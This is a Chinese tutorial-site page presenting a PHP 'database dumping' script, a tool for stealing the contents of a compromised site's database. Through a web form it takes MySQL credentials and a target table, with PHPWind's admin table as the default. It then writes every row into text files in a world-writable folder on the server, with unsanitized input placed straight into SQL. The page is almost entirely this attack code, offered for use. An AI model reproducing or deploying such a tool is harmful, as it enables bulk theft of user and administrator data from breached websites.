MYSQL_OUTPUT 脱裤(脱库)通用脚本(修正版)
复制代码
代码如下:
<html>
<head>
<title>:: hExI3_Securi7y_TeAm...SCRIPT_FILENAME : <?=$_SERVER["PHP_SELF"]?></title>
<style type="text/css">
.font{
size : 2px;
}
</style>
</head>
<body>
<h4>Mysql Database on Tables to Txt...</h4>
#_E-mail:go_root#Hotmail.com
#_Author:HYrz
--------------------------------------------------------
<form action="" method="POST" name="Submit">
<b>Host: </b> <input type="text" name="host" value="127.0.0.1:3306">
<b> User: </b> <input type="text" name="user" value="root">
<b> Password: </b> <input type="text" name="pass" value="root">
<b>Database Check: </b> <input type="text" name="database" value="phpwms">
<b> Tables is: </b> <input type="text" name="table" value="pw_admin">
<b>New_Data Filename:</b> <input type="text" name="back_file" value="data.txt">
<a href = "https://www.jb51.net">电脑手机教程网</a>
<input type="submit" name="submit" value="0utPut">
</form>
</body>
<?php
ini_set('display_errors', 1);
set_time_limit(0);
//error_reporting(E_ALL);
function ShowMessage($Str)
{
$FILENAME = $_SERVER["PHP_SELF"];
Die('<script>document.write("'.$Str.'")</script>');
Die('<script>window.localtion="'.$FILENAME.'";</script>');
}
function _Printf($Str, $type = '')
{
if (empty($type))
echo '<font color="red" face="verdana" size="2px">[+] '.$Str.'</font>
';
else
echo '<font color="red" face="verdana" size="2px">[#] '.$Str.'</font>
';
}
function dirsize($dir) {
@$dh = opendir($dir);
$size = 0;
while ($file = @readdir($dh)) {
if ($file != "." and $file != "..") {
$path = $dir."/".$file;
if (is_dir($path)) {
$size += dirsize($path);
} elseif (is_file($path)) {
$size += filesize($path);
}
}
}
@closedir($dh);
return $size;
}
if (empty($_POST['submit'])) exit();
$db_host = $_POST["host"];
$db_user = $_POST["user"];
$db_pass = $_POST["pass"];
$db_database = $_POST["database"];
$db_table = $_POST["table"];
$backDB_Filename = $_POST["back_file"];
//endPost
if (empty($db_host)){
$_POST["host"] = $db_host;
ShowMessage("Messagebox: Host Error!");
}elseif (empty($db_user)) {
$_POST["user"] = $db_user;
ShowMessage("Messagebox: User Error!");
}elseif (empty($db_pass)){
$_POST["pass"] = $db_pass;
ShowMessage("Messagebox: Pass Error!");
}elseif (empty($db_database)) {
$_POST["database"] = $db_database;
ShowMessage("Messagebox: Database Error!");
}elseif (empty($db_table)) {
$_POST["table"] = $db_table;
ShowMessage("Messagebox: table Error!");
}elseif (empty($backDB_Filename)) {
$_POST["back_file"] = $backDB_Filename;
ShowMessage("Messagebox: backDB_Filename Error!");
} #endif
if (!is_dir('data_xiaosan')) {
mkdir('data_xiaosan',0777);
}#endif
$sql = mysql_connect($db_host,$db_user,$db_pass) or ShowMessage('<font color="red" Size=2px>[#] connect Error ! </font>');
mysql_select_db($db_database,$sql) or die("Could not connect: " . mysql_error());
$result = mysql_query("SELECT * FROM $db_table",$sql) or die("Could not connect: " . mysql_error());
$FieldCount = mysql_query("SELECT CoUnt(*) FrOm $db_table",$sql);
$F_Num = mysql_fetch_row($FieldCount);
_Printf('InforMatIon : --------------','Main');
_Printf("TableCounts :". + $F_Num[0]);
if ($F_Num[0] < 500){
$SuB1 = $F_Num[0] / 2;
} else $SuB1 = 500; //endif
$i = 0;
$tmp = '';
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
$i = $i+1;
$tmp .= implode("::", $row)."\n";
if(!($i%$SuB1)){
$filename_ = 'data_xiaosan/'.intval($i/$SuB1).$backDB_Filename;
file_put_contents($filename_,$tmp);
$tmp = '';
}#endif
}#endwhile
mysql_free_result($result);
mysql_close($sql);
if (dirsize('data_xiaosan')>1){
_Printf("<b>Msg : OutPut_Succ!</b>");}else
_Printf("Err : output fail !"); //endPri
?>
</html>